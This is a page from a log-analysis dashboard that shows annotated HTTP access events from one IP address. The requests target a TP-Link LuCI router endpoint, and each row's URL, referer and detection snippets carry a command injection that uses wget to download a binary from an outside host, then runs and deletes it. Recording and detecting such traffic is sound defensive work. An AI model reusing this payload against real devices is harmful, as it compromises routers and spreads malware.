Log Explorer

Fact drill-down for 141.98.11.128

Risk 55 MED Scope All time All-time facts 285 In-scope 285 Filtered 285 Seen 2024-04-22 → 2025-05-21

Reset (all-time)

Active (none) Clear

Faceted filters (facts-based) exact core + snapshot + optional start/end

Annotation facets

HTTP facets

Snapshot facets

Custom time window (optional override)

Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.

Tip: keep windows tight when you need speed, but the default is fact-complete.

Top annotators (facts, in-scope)

base 103 ua 95 cmdi 87

Top labels (facts, in-scope)

observed 103 ua 95 cmdi 87

Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 6 — total 285 rows

← Prev Next →

#1 2025-05-21 01:40:46 event 10026418 GET 404 bytes 28510

ann ua 10 label ua

Request HTTP library/automation runtime user-agent

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

rule

ua:library_client

conf

72.00

details

UA indicates a low-level HTTP client library or automation runtime.

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

Go-http-client/1.1

summary

HTTP library/automation runtime user-agent

details

UA indicates a low-level HTTP client library or automation runtime.

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#2 2025-05-21 01:40:46 event 10026418 GET 404 bytes 28510

ann base label observed

Request event observed

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#3 2025-05-21 01:40:46 event 10026418 GET 404 bytes 28510

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://212.81.47.226/r; chmod 777 '

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#4 2025-05-21 01:40:46 event 10026418 GET 404 bytes 28510

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://212.81.47.226/r; chmod 777 '

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#5 2025-05-21 01:40:46 event 10026418 GET 404 bytes 28510

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://212.81.47.226/r; chmod 777 r; ./r tplink; rm -rf r`) http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=cou'

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:subshell

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#6 2025-05-21 01:40:45 event 10026414 GET 301 bytes 178

ann ua 10 label ua

Request HTTP library/automation runtime user-agent

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

rule

ua:library_client

conf

72.00

details

UA indicates a low-level HTTP client library or automation runtime.

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

HTTP library/automation runtime user-agent

details

UA indicates a low-level HTTP client library or automation runtime.

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#7 2025-05-21 01:40:45 event 10026414 GET 301 bytes 178

ann base label observed

Request event observed

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#8 2025-05-21 01:40:45 event 10026414 GET 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#9 2025-05-21 01:40:45 event 10026414 GET 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#10 2025-05-21 01:40:45 event 10026414 GET 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:subshell

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#11 2025-05-20 15:36:08 event 9605057 GET 404 bytes 28510

ann ua 10 label ua

Request HTTP library/automation runtime user-agent

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

rule

ua:library_client

conf

72.00

details

UA indicates a low-level HTTP client library or automation runtime.

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

HTTP library/automation runtime user-agent

details

UA indicates a low-level HTTP client library or automation runtime.

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#12 2025-05-20 15:36:08 event 9605051 GET 404 bytes 28510

ann ua 10 label ua

Request HTTP library/automation runtime user-agent

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

rule

ua:library_client

conf

72.00

details

UA indicates a low-level HTTP client library or automation runtime.

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

HTTP library/automation runtime user-agent

details

UA indicates a low-level HTTP client library or automation runtime.

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#13 2025-05-20 15:36:08 event 9605057 GET 404 bytes 28510

ann base label observed

Request event observed

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#14 2025-05-20 15:36:08 event 9605051 GET 404 bytes 28510

ann base label observed

Request event observed

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#15 2025-05-20 15:36:08 event 9605057 GET 404 bytes 28510

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#16 2025-05-20 15:36:08 event 9605057 GET 404 bytes 28510

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#17 2025-05-20 15:36:08 event 9605057 GET 404 bytes 28510

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:subshell

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#18 2025-05-20 15:36:08 event 9605051 GET 404 bytes 28510

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#19 2025-05-20 15:36:08 event 9605051 GET 404 bytes 28510

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#20 2025-05-20 15:36:08 event 9605051 GET 404 bytes 28510

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:subshell

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#21 2025-05-20 11:30:00 event 9348657 GET 404 bytes 28510

ann ua 10 label ua

Request HTTP library/automation runtime user-agent

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

rule

ua:library_client

conf

72.00

details

UA indicates a low-level HTTP client library or automation runtime.

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

HTTP library/automation runtime user-agent

details

UA indicates a low-level HTTP client library or automation runtime.

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#22 2025-05-20 11:30:00 event 9348657 GET 404 bytes 28510

ann base label observed

Request event observed

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#23 2025-05-20 11:30:00 event 9348657 GET 404 bytes 28510

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#24 2025-05-20 11:30:00 event 9348657 GET 404 bytes 28510

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#25 2025-05-20 11:30:00 event 9348657 GET 404 bytes 28510

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

http://68.183.80.204:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%…

Go-http-client/1.1

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

Command/file-injection indicator: cmdi:subshell

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#26 2025-05-20 11:29:59 event 9348653 GET 301 bytes 178

ann ua 10 label ua

Request HTTP library/automation runtime user-agent

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

Go-http-client/1.1

Annotation facts

label

rule

ua:library_client

conf

72.00

details

UA indicates a low-level HTTP client library or automation runtime.

More (full fields + snapshot) expand

url

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

referer

Go-http-client/1.1

summary

HTTP library/automation runtime user-agent

details

UA indicates a low-level HTTP client library or automation runtime.

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#27 2025-05-20 11:29:59 event 9348653 GET 301 bytes 178

ann base label observed

Request event observed

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F212.81.47.226%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%…

referer

